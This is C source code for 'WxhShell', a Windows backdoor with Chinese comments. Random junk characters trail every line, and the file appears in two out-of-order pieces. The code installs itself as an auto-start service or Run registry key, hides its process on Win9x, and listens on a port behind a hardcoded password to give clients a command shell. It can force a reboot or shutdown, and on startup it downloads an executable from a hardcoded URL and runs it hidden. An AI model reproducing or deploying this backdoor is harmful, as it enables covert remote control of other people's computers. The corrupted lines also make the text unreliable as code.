    if(Boot(SHUTDOWN)) "4r5n8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3a#!^ G!~  
    else { Rl S=^}>  
    closesocket(wsh); Q"Bgr&RJ  
    ExitThread(0); M)b`~|Wt  
    } bH,Jddc  
    break; Je?V']lm  
    } NgH%  
  // 获取shell ~" $9auQtC  
  case 's': { ,fYO>l';`f  
    CmdShell(wsh); f0hi70\(X  
    closesocket(wsh); m7!l3W2  
    ExitThread(0); J4co@=AJ  
    break; DPe`C%Oc1  
  } >U) ,^H(  
  // 退出 %Z}dY~:  
  case 'x': { WcUeWGC>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E+3~w?1  
    CloseIt(wsh); 3@}_ F<"*  
    break; c=| a\\  
    } 5-&P4  
  // 离开 {'X"9@  
  case 'q': { 1r.q]^Pq~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C6, Bqlio  
    closesocket(wsh); c=Z#7?k=Uz  
    WSACleanup(); n09|Jzv9  
    exit(1); NtT)Wl  
    break; ivGxtx  
        } U'#{v7u  
  } fc\hQXYv  
  } g.9MPN  
wTTQIo 60  
  // 提示信息 J7E/2Sl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gr-%9=Uq  
} |]B]0J#_  
  } $~9U-B\  
( NiuAy  
  return; oYqC"g&4Z  
} "\V:W%23W{  
`[ne<F?e  
// shell模块句柄 '7=*n_l  
int CmdShell(SOCKET sock) RhDa`kV%t  
{ (8>k_  
STARTUPINFO si; ^\wosB3E  
ZeroMemory(&si,sizeof(si)); I~mw\K{.3M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [hiOFmMJZ-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P0 89Mh9  
PROCESS_INFORMATION ProcessInfo; h2tzv~  
char cmdline[]="cmd"; mV'd9(s?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SE/@li  
  return 0; _p~ `nQ=7  
} <4>6k7W  
bRIb'%=+GA  
// 自身启动模式 W>, b1_k c  
int StartFromService(void) 4<O[d  
{ AM}OL Hj  
typedef struct rFmE6{4:p  
{ ph|3M<q6  
  DWORD ExitStatus; ) .]Z}g&  
  DWORD PebBaseAddress; 4mPg; n  
  DWORD AffinityMask; 0\i&v  
  DWORD BasePriority; q|6lw 74`  
  ULONG UniqueProcessId; \ oL+O|  
  ULONG InheritedFromUniqueProcessId; , n EeI&  
}   PROCESS_BASIC_INFORMATION; \[8I5w-  
%Ajf|Go0/G  
PROCNTQSIP NtQueryInformationProcess; lc/2!:g  
|X_yL3`Zb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @%jzVF7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8.A; I<  
\K)q$E<!  
  HANDLE             hProcess; P|6m%y  
  PROCESS_BASIC_INFORMATION pbi; i\ PN  
j5RM S V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g|T' oK  
  if(NULL == hInst ) return 0; *k=}g][?  
2xjS;lpw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Nj0 Hqjq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `bxgg'V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r<0 .!j%c  
:`uo]B"  
  if (!NtQueryInformationProcess) return 0; VX- f~  
>o[T#U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z24-h C  
  if(!hProcess) return 0; LAvAjvRc  
yC _X@o-n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y${ $7+@  
*F9uv)[kz  
  CloseHandle(hProcess); 1Ju{IEV  
I)sCWC:Mq~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L'Wcb =;  
if(hProcess==NULL) return 0; 8T2$0  
fY6&PuDf.  
HMODULE hMod; &9O-!  
char procName[255]; \C>I6{  
unsigned long cbNeeded; b. t]p  
G.BqT\ o'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g;*~ xo  
vUCU%>F  
  CloseHandle(hProcess);  a1j 6-p  
Jl4zj>8~  
if(strstr(procName,"services")) return 1; // 以服务启动 pQqZ4L6v  
x2nNkd0h  
  return 0; // 注册表启动 1ITa6vjS  
} AFY;;_Xks  
IYrO;GQ  
// 主模块 PmTA3aH  
int StartWxhshell(LPSTR lpCmdLine)  %RJW@~!  
{ 6x.#K9@q4  
  SOCKET wsl; B,A/ -B\  
BOOL val=TRUE; cy? EX~s4  
  int port=0; !!P)r1=g  
  struct sockaddr_in door; 3L;)asF  
+tOV+6Uz  
  if(wscfg.ws_autoins) Install(); a{{([uZ  
}5% !: =  
port=atoi(lpCmdLine); 0{jRXa-(  
!e%#Zb MIo  
if(port<=0) port=wscfg.ws_port; kdv>QZ  
UyvFR@  
  WSADATA data; <7)@Jds\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /FQumqbnt  
++FMkeHZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gE%-Pf~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =*I>MgCJ  
  door.sin_family = AF_INET; dvUJk<;w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4w\')@`[jk  
  door.sin_port = htons(port); {Ynr(J.  
v/(< fI^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _w'4f )7  
closesocket(wsl); gTs5xDvJ  
return 1; 4sG^ bZ,  
} Dzp9BRS 2f  
1[^2f70n  
  if(listen(wsl,2) == INVALID_SOCKET) { 8_:jPd! 3  
closesocket(wsl); z5Po,@W  
return 1; C:H9C  
} ,(]hykbXp  
  Wxhshell(wsl); 7gv kd+-*  
  WSACleanup(); (h2bxfV~+  
UW40Y3W0  
return 0; "&>$/b$  
f v}h;?C  
} <<[`;"CF  
SB]|y -su  
// 以NT服务方式启动 )<!y_;$A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >7 4'g }  
{ +A/n <VH  
DWORD   status = 0; ( vgoG5  
  DWORD   specificError = 0xfffffff; BE:GB?XBH  
O.!|;)HQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2#p6.4h=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rq+E"Uj?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gzi~ BJ  
  serviceStatus.dwWin32ExitCode     = 0; <w 8*Ly:L  
  serviceStatus.dwServiceSpecificExitCode = 0; #W* 5=Cf  
  serviceStatus.dwCheckPoint       = 0; {Pdy KgM  
  serviceStatus.dwWaitHint       = 0; F4KXx^~o  
,7<5dIdZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cO_En`F  
  if (hServiceStatusHandle==0) return; -2bu`oD `  
Fvl_5l  
status = GetLastError(); : 3*(kb1)&  
  if (status!=NO_ERROR) 5%uLs}{\q  
{ YY'46  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "1WwSh}Z  
    serviceStatus.dwCheckPoint       = 0; pWK7B`t  
    serviceStatus.dwWaitHint       = 0; 1 1O^)_|c  
    serviceStatus.dwWin32ExitCode     = status; 4E<iIA\x  
    serviceStatus.dwServiceSpecificExitCode = specificError; r +d%*Dx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6-j><'  
    return; &n91f  
  } FUiEayM  
#]cO] I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e@w-4G(;  
  serviceStatus.dwCheckPoint       = 0; yC(xi"!  
  serviceStatus.dwWaitHint       = 0; 7CWz)LT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v[A)r]"j"M  
} J7c(qGJI2  
ot8UuBq  
// 处理NT服务事件,比如:启动、停止 sZxf.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .SAOE'Foo  
{ bXmX@A$#Io  
switch(fdwControl) lhZXq!2p  
{ o/t^rY y  
case SERVICE_CONTROL_STOP: x2%xrlv<J/  
  serviceStatus.dwWin32ExitCode = 0; A]c'`Nf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (kCzz-_\  
  serviceStatus.dwCheckPoint   = 0; iGlg@  
  serviceStatus.dwWaitHint     = 0; 1P;J%.{  
  { ~ HN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R6eKI,y\"  
  } mmRxs1 0$  
  return; rom`%qp^  
case SERVICE_CONTROL_PAUSE: +#ufW%ZG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Ri/I4Xj  
  break; ObnQ,x(  
case SERVICE_CONTROL_CONTINUE: P'l'[Kz{'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4AW-'W  
  break; z_nv|5"  
case SERVICE_CONTROL_INTERROGATE: |Y"nZK,  
  break; J[ ;g \  
}; &6deds  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vLCyT=OB`  
} ,6@s N'c  
%dn!$[D@  
// 标准应用程序主函数 z{$2bV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .6C9N{?Tqf  
{ %'+}-w  
pUF$Nq>og  
// 获取操作系统版本 /;E{(%U)t  
OsIsNt=GetOsVer();  r`-=<@[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~/C9VR&  
6Uh_&?\%  
  // 从命令行安装 DL<b)# h#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,! b9  
#w]UP#^io  
  // 下载执行文件 y Ny,$1  
if(wscfg.ws_downexe) { `-Y8T\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uE E;~`G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ERTjY%A  
} ZQ1,6<^9i[  
)?y${T   
if(!OsIsNt) { }jdMo83  
// 如果时win9x,隐藏进程并且设置为注册表启动 @qUgp*+{  
HideProc(); ~  p~  
StartWxhshell(lpCmdLine); y$$|_ l@  
} S(2_s,J^  
else fbg:rH\_  
  if(StartFromService()) Dm{9;Abs%  
  // 以服务方式启动 ExKyjWAJ  
  StartServiceCtrlDispatcher(DispatchTable); u0;k_6N  
else Nhf@Y}Cu  
  // 普通方式启动 e92,@  
  StartWxhshell(lpCmdLine); NdxPC~Z+  
6K7DZ96L  
return 0; unvS`>)Np  
} OV2/?  
+,xluwv$9  
I_k/lwBD  
dp}s]`x+  
=========================================== zQ~N(Jj?h  
~~r7TPq  
&TT vX% T  
He9Er  
#=uV, dw  
mswAao<y&x  
" 7?@ -|{  
X*w7q7\8-:  
#include <stdio.h> K0A[xkX6  
#include <string.h> do[w&`jw8  
#include <windows.h> x1`4hB  
#include <winsock2.h> (&i c3/-  
#include <winsvc.h> J.(mg D  
#include <urlmon.h> <s=i5t My5  
DFMf" _p  
#pragma comment (lib, "Ws2_32.lib") %w#z   
#pragma comment (lib, "urlmon.lib") [Smqe>U 1  
Nr"gj$v  
#define MAX_USER   100 // 最大客户端连接数 A$3ll|%j  
#define BUF_SOCK   200 // sock buffer O $ARk+  
#define KEY_BUFF   255 // 输入 buffer Cu! S|Xj.  
Ua.%?V  
#define REBOOT     0   // 重启 Vd;N T$S$  
#define SHUTDOWN   1   // 关机 Z'~/=a)7  
V}h <,E9  
#define DEF_PORT   5000 // 监听端口  5fq4[a  
(M# m BS  
#define REG_LEN     16   // 注册表键长度 P"{yV?CNg  
#define SVC_LEN     80   // NT服务名长度 =d BK,/  
 CH$K_\  
// 从dll定义API <:>[24LJ{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "_0sW3rG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NT=)</v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )8E[xBaO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8;d./!|'&g  
bjBXs;zr@\  
// wxhshell配置信息 ThY\K>@]  
struct WSCFG { )i"52!  
  int ws_port;         // 监听端口 G:!3X)b  
  char ws_passstr[REG_LEN]; // 口令 uquY z_2  
  int ws_autoins;       // 安装标记, 1=yes 0=no .6c Bx  
  char ws_regname[REG_LEN]; // 注册表键名 OIs!,G|  
  char ws_svcname[REG_LEN]; // 服务名 {)I&&fSz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o'_eLp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SaOOD-u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mtf><YU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1RauI0d*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BsR3$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *+%$OH,  
^|%N _ s  
}; ,f~)CXNT?  
kl|m @Nxp  
// default Wxhshell configuration BPSi e0  
struct WSCFG wscfg={DEF_PORT, +3 J5j+  
    "xuhuanlingzhe", uHuL9Q^  
    1, qN'%q+n  
    "Wxhshell", 0HI0/Tvu$<  
    "Wxhshell", 6?'; ip  
            "WxhShell Service", 'soll[J  
    "Wrsky Windows CmdShell Service", C:_-F3|]cJ  
    "Please Input Your Password: ", ZEB,Q~  
  1, &8dj*!4H  
  "http://www.wrsky.com/wxhshell.exe", 62o nMY  
  "Wxhshell.exe" [5PQrf~Mo  
    }; F8J\#PW  
[+!~RV_  
// 消息定义模块 !jg< S>S5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f3*SIKi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8CUl |I ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MSb0J`  
char *msg_ws_ext="\n\rExit."; je74As[  
char *msg_ws_end="\n\rQuit."; n){u!z)Al  
char *msg_ws_boot="\n\rReboot...";  GG(}#Z5h  
char *msg_ws_poff="\n\rShutdown..."; b?-KC\}v  
char *msg_ws_down="\n\rSave to "; NftR2  
%~\I*v04  
char *msg_ws_err="\n\rErr!"; -+0!Fkt@,  
char *msg_ws_ok="\n\rOK!"; &23{(]eO  
geNvp0  
char ExeFile[MAX_PATH]; &r!jjT  
int nUser = 0; ] V,#>'  
HANDLE handles[MAX_USER]; ft$ 'UJ% j  
int OsIsNt; @=?#nB&  
7WHq'R{@  
SERVICE_STATUS       serviceStatus; !]MGIh#u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &S[>*+}{+  
z J V>;  
// 函数声明 +;a\ gF^  
int Install(void); c^~R %Bx  
int Uninstall(void); km,@yU  
int DownloadFile(char *sURL, SOCKET wsh); nu X`>Oy  
int Boot(int flag); pYj}  
void HideProc(void); NkxW*w%}l  
int GetOsVer(void); -+Z&O?pSH  
int Wxhshell(SOCKET wsl); loD:4e1  
void TalkWithClient(void *cs); S Q`KR'E  
int CmdShell(SOCKET sock); xgIb4Y%  
int StartFromService(void); ,o\~d ?4  
int StartWxhshell(LPSTR lpCmdLine); ,[u.5vC  
v"sN K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ku8qn \2"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }q)dXFL=I#  
r#c+{yY  
// 数据结构和表定义 {;={ abj  
SERVICE_TABLE_ENTRY DispatchTable[] = 85{@&T  
{ 5r^u7k  
{wscfg.ws_svcname, NTServiceMain}, 2SYV2  
{NULL, NULL} Cp]q>lM"  
}; G C@U['  
K>Tv M&  
// 自我安装 cN7|Zsc\  
int Install(void) 2*Mu"v,  
{ e9eBD   
  char svExeFile[MAX_PATH]; AE4>pzBe  
  HKEY key; Y~ Nt9L  
  strcpy(svExeFile,ExeFile); @|}=W Q  
`7_s@4:  
// 如果是win9x系统,修改注册表设为自启动 `%.x0~ ih  
if(!OsIsNt) { k&o1z'<C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gP=@u.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gx-tPW}  
  RegCloseKey(key); o vX9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ETaLE[T%1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ym-Szo  
  RegCloseKey(key); &Fl* ,  
  return 0; :2MHx}]il  
    } 5dhT?/qvc  
  } xilA`uw`1  
} HNV"'p;  
else { Cc` )P>L  
Q46sPMH+_  
// 如果是NT以上系统,安装为系统服务 v H vwH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bdr !|WZ  
if (schSCManager!=0) rY(^6[!  
{ \E,Fe:/g  
  SC_HANDLE schService = CreateService yQ+C}8r5  
  ( lR3JyYY{X  
  schSCManager, U=ie| 3  
  wscfg.ws_svcname, v,mn=Q&9  
  wscfg.ws_svcdisp, ?)XPY<  
  SERVICE_ALL_ACCESS, ^BQ*l5K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Ke3kLQ_\X  
  SERVICE_AUTO_START, xkkW?[&  
  SERVICE_ERROR_NORMAL, 'q{|p+  
  svExeFile, m>-(c=3  
  NULL, :_+Fe,h>|  
  NULL, O\zGN/!  
  NULL, fu7J{-<<R  
  NULL, 0V?:5r<  
  NULL -_~T;cj6  
  ); 6Er%td)f  
  if (schService!=0) \:91BQP c  
  { ] 73BJ  
  CloseServiceHandle(schService); \B D'"  
  CloseServiceHandle(schSCManager); qGKQrb,K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FrD,)Ad8Q  
  strcat(svExeFile,wscfg.ws_svcname); ahm@ +/2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2~SjRIpUw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j!QP>AM|`  
  RegCloseKey(key); Ov9kD0S  
  return 0; Zk n1@a  
    } >-YWq  
  } 3}X;WE `  
  CloseServiceHandle(schSCManager); |%-:qk4rG  
} oj~0zJI  
} NQhlb"Ix  
S t0AV.N1  
return 1; [)83X\CO  
} e025m}%SU  
Gv zw=~8  
// 自我卸载 I4^}C;p0?  
int Uninstall(void) $NhKqA`0  
{ ;&G8e* bM2  
  HKEY key; +BE_K_56  
&d^u$Y5  
if(!OsIsNt) { \i$WXW]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rWMG_eP:  
  RegDeleteValue(key,wscfg.ws_regname); PEX(*GS  
  RegCloseKey(key); c`h/x>fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C/x<_VJzN/  
  RegDeleteValue(key,wscfg.ws_regname); x?MSHOia`P  
  RegCloseKey(key); y~pJ|E  
  return 0; Mlr}v^"G  
  } zE\@x+k.  
} 0`dMT>&I  
} |lhVk\X  
else { ce\ F~8y  
\Q<Ur&J]%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 SeDBs  
if (schSCManager!=0) , *A',  
{ *eo<5YUHt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wIT}>8o  
  if (schService!=0) )Vb_0n=^  
  {  ?[G!6  
  if(DeleteService(schService)!=0) { QcDWVM'v  
  CloseServiceHandle(schService); T5+iX`#M  
  CloseServiceHandle(schSCManager); S<V__Sv  
  return 0; PME ?{%&  
  } 0cm+:  
  CloseServiceHandle(schService); \#; -C<[b  
  } (S[" ak  
  CloseServiceHandle(schSCManager); r*!sA5  
} T7{Z0-  
} .<C}/Cl  
:LwNOuavN  
return 1; h[0,/`qb{  
} :5`BhFAd  
l[q%1-N  
// 从指定url下载文件 $Z;?d@6yI  
int DownloadFile(char *sURL, SOCKET wsh) -Vi"hSsUP  
{ @i[z4)"S  
  HRESULT hr; U{2UKD@PM  
char seps[]= "/"; k~st;FO  
char *token; ,Si23S\  
char *file; $MEKt}S  
char myURL[MAX_PATH]; t3)nG8> )  
char myFILE[MAX_PATH]; t%n3~i4X:  
0?",dTf3i  
strcpy(myURL,sURL); wcT0XXh  
  token=strtok(myURL,seps); {^xp?zpV  
  while(token!=NULL) =-c"~4  
  { >}*i Qq  
    file=token; pGy(JvMw"  
  token=strtok(NULL,seps); u8Au `  
  } idf~"a  
#Pz},!7  
GetCurrentDirectory(MAX_PATH,myFILE); !v2D 18(  
strcat(myFILE, "\\"); q.OkZI0n   
strcat(myFILE, file); Et=N`k _gO  
  send(wsh,myFILE,strlen(myFILE),0); FSqS]6b3  
send(wsh,"...",3,0); 5]&vs!wH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =_`4HDr  
  if(hr==S_OK) 0~\Dd0W/:`  
return 0; 9@-^! DBM  
else P!{ O<P  
return 1; I T)rhi:  
-VESe}c:nQ  
} mk;l;!*T8  
zhDmZ  
// 系统电源模块 hY.zwotH  
int Boot(int flag) |-hzvuSX  
{ #KonVM(`  
  HANDLE hToken; f.`noZN  
  TOKEN_PRIVILEGES tkp; T6|zT}cb  
O7shY4Sr  
  if(OsIsNt) { T3o}%wGW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Dq!o[2y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7B$iM,}.b  
    tkp.PrivilegeCount = 1;  ?6!7fs,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N4%q-fi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f!~gfnn  
if(flag==REBOOT) { ;wfzlUBC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nt^R~#8hF>  
  return 0; mJu;B3@  
} P+sxlf:0  
else { GQTMQXn(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b:Lp`8Du  
  return 0; zA&lJD $0  
} Kc*h@#`~oL  
  } i6zfr|`@  
  else { e`#c[lbAAM  
if(flag==REBOOT) { Y?2I /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M`ETH8Su=  
  return 0; 4}{HRs?  
} SLL%XF~/Sb  
else { J'O</o@e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z@=1-l  
  return 0; wj/\ !V!  
} <h2WM (n  
}  = uZ[  
nJ#uz:(w,  
return 1; ~ jb6  
} qWf7k+7G  
K+D`U6&  
// win9x进程隐藏模块 NamBJ\2E1[  
void HideProc(void) 0l6z!@GhT  
{ -DrR6kGjR  
%_wX9Z T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2l#Ogn`k  
  if ( hKernel != NULL ) MJJy mi'b  
  { SUXRWFl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T^8t<S@`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iK6L\'k  
    FreeLibrary(hKernel); d_*'5Eia6  
  } F kp;G  
zR/d:P?  
return; Ql> DS~a  
} bR@ e6.<i  
{Q[{H'Oa  
// 获取操作系统版本 ^WP`;e  
int GetOsVer(void) zg&<HJO  
{ _|xO4{X  
  OSVERSIONINFO winfo;  4G&E?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RV5X0  
  GetVersionEx(&winfo); 6~sb8pK.=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A1:<-TF6^p  
  return 1; , gk49z9  
  else IMjnj|Fj  
  return 0; !Ac<A.  
} OS6 l*S('  
8*3<Erv  
// 客户端句柄模块 wxXp(o(  
int Wxhshell(SOCKET wsl) S1{UVkr  
{ JS r& S[  
  SOCKET wsh; ~k?7XF I  
  struct sockaddr_in client; L,| 60*  
  DWORD myID; u-3A6Q  
}s=D,_}m  
  while(nUser<MAX_USER) SsfnBCVR  
{ tK6z#)  
  int nSize=sizeof(client); v' 7,(.E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  k'X v*U  
  if(wsh==INVALID_SOCKET) return 1; [k.|iCD  
S,Boutd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Zd!0HNW1  
if(handles[nUser]==0) <<gk< _7`  
  closesocket(wsh); {wRsV=*  
else 2e zQX2q  
  nUser++; Mo|[Muj8b  
  } <\GP\G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2J =K\ L  
Od70w*,  
  return 0; Z:W6@j-~  
} EA9`-xs|  
g4(B=G\j  
// 关闭 socket mL`,v WL/`  
void CloseIt(SOCKET wsh) |GtTz&  
{ @FKNB.>  
closesocket(wsh); eD/O)X  
nUser--; `me2Q  
ExitThread(0); jKZJ0`06q  
} Vm6G5QwM  
`;4P?!WG  
// 客户端请求句柄 C Fq3  
void TalkWithClient(void *cs) N"/jn_>+j  
{ ~YKe:K+&z  
bsy\L|wd  
  SOCKET wsh=(SOCKET)cs; Lt0JUUa0  
  char pwd[SVC_LEN]; u HqPb8  
  char cmd[KEY_BUFF]; ~~k_A|&  
char chr[1]; rvuskXdo  
int i,j; xal+ buOiP  
XRCiv  
  while (nUser < MAX_USER) { Ehu^_HZ  
nIJ2*QJ  
if(wscfg.ws_passstr) { 72R|zR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ik)T>rYg0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ya3A^&:  
  //ZeroMemory(pwd,KEY_BUFF); bmVksi2b  
      i=0; ,\q9>cZ!  
  while(i<SVC_LEN) { 7{=/rbZT?  
ED&>~~k)  
  // 设置超时 t7tX<|aN  
  fd_set FdRead; |u8IQR'B  
  struct timeval TimeOut; X&fM36o7  
  FD_ZERO(&FdRead); Z`<S_PPz  
  FD_SET(wsh,&FdRead); r$}M,! J  
  TimeOut.tv_sec=8; NrT!&>M  
  TimeOut.tv_usec=0; ;75K:_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M_*"g>Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _0ki19rs  
u8L%R[#o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P2pdXNV  
  pwd=chr[0];  i1$ $86  
  if(chr[0]==0xd || chr[0]==0xa) { G=Hvh=K(  
  pwd=0; J7q^4M+o:  
  break; @igr~hJ  
  } /]m5HW(P7K  
  i++; S0\QZ/je  
    } V/"UDof  
^.)oQo SE  
  // 如果是非法用户,关闭 socket b HRH2Ss  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,%7>%*nhk  
} 2%UzCK  
"C%<R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G(W/.*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b{JcV  
"1|n]0BF  
while(1) { 2\80S[f  
}A,9`  
  ZeroMemory(cmd,KEY_BUFF); F \6-s`(  
chk1tFV  
      // 自动支持客户端 telnet标准   X c~yr\%]  
  j=0; xR}^~14Bz  
  while(j<KEY_BUFF) { jWk1FQte  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %0l'Nuz  
  cmd[j]=chr[0]; *Z'*^Y1le  
  if(chr[0]==0xa || chr[0]==0xd) { -L&r2RF/  
  cmd[j]=0; y"6;O0  
  break; Z6C!-a  
  } v&Xsyb0CaM  
  j++; LG3D3{H(.  
    } j=b?WNK  
`&y Qtj# '  
  // 下载文件 3NU{7,F  
  if(strstr(cmd,"http://")) { z6 T3vw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >tc#Ofgzd  
  if(DownloadFile(cmd,wsh)) UW%zR5q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ@frbuowk  
  else Aiyx!Q6vT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  *-Y`7=^$  
  } z OwKh>]  
  else { UF37|+"E  
b7-M'-Km0_  
